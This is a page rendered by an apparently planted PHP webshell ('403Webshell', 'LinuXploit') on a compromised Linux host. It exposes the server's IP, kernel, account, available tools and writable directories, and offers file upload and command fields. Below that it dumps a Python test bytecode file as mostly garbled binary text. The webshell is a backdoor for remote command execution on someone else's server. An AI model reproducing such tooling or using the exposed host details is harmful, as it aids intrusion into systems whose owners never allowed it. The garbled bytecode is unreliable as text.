403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.95
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_ensurepip.cpython-36.pyc
3

�w2_�&�@s�ddlZddlZddlZddlZddlZddlZddlZddlZddl	ZGdd�dej
�ZGdd�d�ZGdd�deej
�Z
ejejfdd	��ZGd
d�deej
�ZdejZGd
d�deej
�ZGdd�deej
�Zedkr�ej�dS)�Nc@seZdZdd�ZdS)�TestEnsurePipVersioncCs|jtjtj��dS)N)�assertEqual�	ensurepip�_PIP_VERSION�version)�self�r�8/opt/alt/python36/lib64/python3.6/test/test_ensurepip.py�test_returns_versionsz)TestEnsurePipVersion.test_returns_versionN)�__name__�
__module__�__qualname__r
rrrr	r
src@seZdZdd�ZdS)�EnsurepipMixincCsttjjd�}|j�|_d|j_|j|j�tj	}tjjd�}|j�}|j|j�||_	tj
|_
tjj�|_
|_dS)Nzensurepip._run_piprzensurepip.os)�unittest�mockZpatch�start�run_pip�return_valueZ
addCleanup�stop�os�devnull�path�environ�copy�
os_environ)rZ
run_pip_patchZreal_devnullZos_patchZ
patched_osrrr	�setUps
zEnsurepipMixin.setUpN)rrr
rrrrr	rsrc@steZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�ZdS)�
TestBootstrapcCsNtj�|jjdddtjjddgtjj�|jjdd}|jt	|�d�dS)	N�installz
--no-indexz--find-links�
setuptools�pipr��)
r�	bootstrapr�assert_called_once_withrr�ANY�	call_argsr�len)r�additional_pathsrrr	�test_basic_bootstrapping&s
z&TestBootstrap.test_basic_bootstrappingc	Cs6tjdd�|jjdddtjjddddgtjj�dS)	Nz	/foo/bar/)�rootrz
--no-indexz--find-linksz--rootrr)rr"rr#rrr$)rrrr	�test_bootstrapping_with_root4s
z*TestBootstrap.test_bootstrapping_with_rootcCs4tjdd�|jjdddtjjdddgtjj�dS)	NT)�userrz
--no-indexz--find-linksz--userrr)rr"rr#rrr$)rrrr	�test_bootstrapping_with_user@s
z*TestBootstrap.test_bootstrapping_with_usercCs4tjdd�|jjdddtjjdddgtjj�dS)	NT)Zupgraderz
--no-indexz--find-linksz	--upgraderr)rr"rr#rrr$)rrrr	�test_bootstrapping_with_upgradeKs
z-TestBootstrap.test_bootstrapping_with_upgradecCs4tjdd�|jjdddtjjdddgtjj�dS)	Nr )�	verbosityrz
--no-indexz--find-linksz-vrr)rr"rr#rrr$)rrrr	�#test_bootstrapping_with_verbosity_1Vs
z1TestBootstrap.test_bootstrapping_with_verbosity_1cCs4tjdd�|jjdddtjjdddgtjj�dS)	Nr!)r.rz
--no-indexz--find-linksz-vvrr)rr"rr#rrr$)rrrr	�#test_bootstrapping_with_verbosity_2as
z1TestBootstrap.test_bootstrapping_with_verbosity_2cCs4tjdd�|jjdddtjjdddgtjj�dS)	N�)r.rz
--no-indexz--find-linksz-vvvrr)rr"rr#rrr$)rrrr	�#test_bootstrapping_with_verbosity_3ls
z1TestBootstrap.test_bootstrapping_with_verbosity_3cCstj�|j|jdd�dS)N�ENSUREPIP_OPTIONSr)rr"rr)rrrr	�'test_bootstrapping_with_regular_installwsz5TestBootstrap.test_bootstrapping_with_regular_installcCs"tjdd�|j|jdd�dS)NT)�
altinstallr3r5)rr"rr)rrrr	�#test_bootstrapping_with_alt_install{sz1TestBootstrap.test_bootstrapping_with_alt_installcCstjdd�|jd|j�dS)NT)�default_pipr3)rr"�assertNotInr)rrrr	�#test_bootstrapping_with_default_pipsz1TestBootstrap.test_bootstrapping_with_default_pipcCs6|jt��tjddd�WdQRX|j|jj�dS)NT)r5r7)�assertRaises�
ValueErrorrr"�assertFalser�called)rrrr	�$test_altinstall_default_pip_conflict�sz2TestBootstrap.test_altinstall_default_pip_conflictcCs$d|jd<tj�|jd|j�dS)Nztest fodder�PIP_THIS_SHOULD_GO_AWAY)rrr"r8)rrrr	�&test_pip_environment_variables_removed�s
z4TestBootstrap.test_pip_environment_variables_removedcCs tj�|j|jdtj�dS)N�PIP_CONFIG_FILE)rr"rrrr)rrrr	�test_pip_config_file_disabled�sz+TestBootstrap.test_pip_config_file_disabledN)rrr
r(r*r,r-r/r0r2r4r6r9r>r@rBrrrr	r$src#sr�dkrd}nG�fdd�d�}|�}t�}tjjd|�}|tjd<z
|VWd||krbtjd=n
|tjd<XdS)NcseZdZ�ZdS)zfake_pip.<locals>.FakePipN)rrr
�__version__r)rrr	�FakePip�srDr)�object�sys�modules�get)rrrD�sentinelZorig_pipr)rr	�fake_pip�s


rJc@sLeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dS)�
TestUninstallc	Cs.td��tj�WdQRX|j|jj�dS)N)rJr�_uninstall_helperr<rr=)rrrr	�)test_uninstall_skipped_when_not_installed�s
z7TestUninstall.test_uninstall_skipped_when_not_installedcCs\td��$tjj��}tj�WdQRXWdQRX|j�j�}|jd|�|j	|j
j�dS)Nznot a valid versionz!only uninstall a matching version)rJ�test�supportZcaptured_stderrrrL�getvalue�stripZassertInr<rr=)r�stderrZwarningrrr	�5test_uninstall_skipped_with_warning_for_wrong_version�s
zCTestUninstall.test_uninstall_skipped_with_warning_for_wrong_versionc
Cs4t��tj�WdQRX|jjdddddg�dS)N�	uninstallz-yz--disable-pip-version-checkrr)rJrrLrr#)rrrr	�test_uninstall�s
zTestUninstall.test_uninstallcCs:t��tjdd�WdQRX|jjddddddg�dS)	Nr )r.rTz-yz--disable-pip-version-checkz-vrr)rJrrLrr#)rrrr	�test_uninstall_with_verbosity_1�s

z-TestUninstall.test_uninstall_with_verbosity_1cCs:t��tjdd�WdQRX|jjddddddg�dS)	Nr!)r.rTz-yz--disable-pip-version-checkz-vvrr)rJrrLrr#)rrrr	�test_uninstall_with_verbosity_2�s

z-TestUninstall.test_uninstall_with_verbosity_2cCs:t��tjdd�WdQRX|jjddddddg�dS)	Nr1)r.rTz-yz--disable-pip-version-checkz-vvvrr)rJrrLrr#)rrrr	�test_uninstall_with_verbosity_3�s
z-TestUninstall.test_uninstall_with_verbosity_3c
Cs6d|jd<t��tj�WdQRX|jd|j�dS)Nztest fodderr?)rrJrrLr8)rrrr	r@�s
z4TestUninstall.test_pip_environment_variables_removedc
Cs2t��tj�WdQRX|j|jdtj�dS)NrA)rJrrLrrrr)rrrr	rB�sz+TestUninstall.test_pip_config_file_disabledN)rrr
rMrSrUrVrWrXr@rBrrrr	rK�s	rKzpip c@s$eZdZdd�Zdd�Zdd�ZdS)�TestBootstrappingMainFunctioncCsbtjj��(}|jt��tjdg�WdQRXWdQRX|j�j�}|j	|t
�|j|jj
�dS)Nz	--version)rNrO�captured_stdoutr:�
SystemExitr�_mainrPrQr�EXPECTED_VERSION_OUTPUTr<rr=)r�stdout�resultrrr	�test_bootstrap_version�s z4TestBootstrappingMainFunction.test_bootstrap_versioncCs\tjg�}|jjdddtjjddgtjj�|jjdd}|jt	|�d�|j|d�dS)	Nrz
--no-indexz--find-linksrrrr r!)
rr\rr#rrr$r%rr&)r�	exit_coder'rrr	r(s

z6TestBootstrappingMainFunction.test_basic_bootstrappingcCs"d|j_tjg�}|j|d�dS)Nr!)rrrr\r)rrarrr	�test_bootstrapping_error_codes
z;TestBootstrappingMainFunction.test_bootstrapping_error_codeN)rrr
r`r(rbrrrr	rY�srYc@s$eZdZdd�Zdd�Zdd�ZdS)�TestUninstallationMainFunctioncCsdtjj��*}|jt��tjjdg�WdQRXWdQRX|j�j	�}|j
|t�|j|j
j�dS)Nz	--version)rNrOrZr:r[r�
_uninstallr\rPrQrr]r<rr=)rr^r_rrr	�test_uninstall_versions"z5TestUninstallationMainFunction.test_uninstall_versionc
CsDt��tjjg�}WdQRX|jjdddddg�|j|d�dS)NrTz-yz--disable-pip-version-checkrrr)rJrrdr\rr#r)rrarrr	�test_basic_uninstall!sz3TestUninstallationMainFunction.test_basic_uninstallc
Cs6t��d|j_tjjg�}WdQRX|j|d�dS)Nr!)rJrrrrdr\r)rrarrr	�test_uninstall_error_code.sz8TestUninstallationMainFunction.test_uninstall_error_codeN)rrr
rerfrgrrrr	rcs
rc�__main__)rZ
unittest.mockZtest.supportrNrZos.path�
contextlibrFrZensurepip._uninstallZTestCaserrr�contextmanagerrrJrKr]rYrcr�mainrrrr	�<module>s&qN


Youez - 2016 - github.com/yon3zu
LinuXploit